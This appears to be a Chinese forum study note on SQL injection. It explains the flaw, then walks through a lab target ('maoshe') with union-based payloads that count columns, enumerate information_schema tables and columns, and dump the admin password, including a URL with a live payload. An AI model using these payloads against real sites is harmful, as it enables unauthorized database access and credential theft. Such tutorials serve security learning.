笔记:SQL注入的原理分析

喜欢悠哉独自在   ·   发表于 2022-03-06 16:11:02   ·   学习杂记

一、介绍SQL注入的原理

(一)SQL注入是网站存在最多也是比较简单的漏洞,主要原因是程序对用户输入的字符串没有进行过滤或处理不严谨,导致用户可以通过精心构造语句来非法获取数据库中的信息。

(二)SQL注入的首次公开讨论始于1998年左右,至今已有20多年的历史,被冠以漏洞之王的称号。

(三)SQL语言即是结构化查询语言,通俗来讲就是操作数据库的语言,这些语句可以对数据库进行增、删、改、查等操作。

(四)注入在这里即是将用户输入的数据拼接到原始代码中,从而使得被注入的数据被当做代码执行。

(五)SQL注入的核心:将用户的输入拼接到代码中,并被当做SQL语句执行

二、靶场演示SQL注入的基本流程

(一)判断是否存在注入

and 1=1、and 1=2等等

(二)判断字段数

order by 2

(三)判断显错位

union select 1,2

(四)判断库名

and 1=2 union select 1,database()

(五)判断表名

and 1=2 union select 1,table_name from information_schema.tables where table_schema =’maoshe’

(六)判断列名

and 1=2 union select 1,column_name from information_schema.columns where table_name =’admin’ limit 2,1

(七)寻找具体数据

and 1=2 union select 1,password from admin

三、讲解SQL注入中遇到的函数

(一)order by(排序,用来判断字段数)

(二)union select (联合查询,用来查询自己想要得到的数据)

(三)database()(可以用来查询数据库)

(四)limit 0,1(限制输出,0表示下标,1表示数量)

(五)information_schema(mysql数据库5.0及以上版本,自带数据库,他记录了mysql数据库下所有的数据库名,表名,列名信息)

(六)information_schema.tables(记录表名信息的表)

(七)information_schema.columns(记录列名信息的表)

(八)table_name (表名)

(九)column_name (列名)

(十)table_schema (数据库名)

四、展示SQL注入在实战中的例子

1、判断是否存在注入:and 1=1 and 1=2(重点是看我们的输入是否有被当做代码执行)

2、判断字段数:order by 1(正常) order by 2(正常)order by 3(异常)说明仅仅存在两个字段

3、判断线错位,联和查询前面的sql语句要和后面sql语句字段数一致,这个也是我们前面判断字段数的原因,

4、联和查询时需要让前面查询语句查询不出数据,从而显示我们后面联和查询的结果

5、http://59.63.200.79:8003/?id=1.1 union select 1,database()把我们的database放到显错位上,显示maoshe说明当前页面库名就是maoshe

6、union select 1,table_name from information_schema.tables where table_schema=’maoshe’

7、union select 1,group_concat(column_name) from information_schema.columns where table_schema=’maoshe’ and table_name=’admin’

8、union select 1,password from admin

打赏我,让我更有动力~

0 条回复   |  直到 2022-3-6 | 910 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.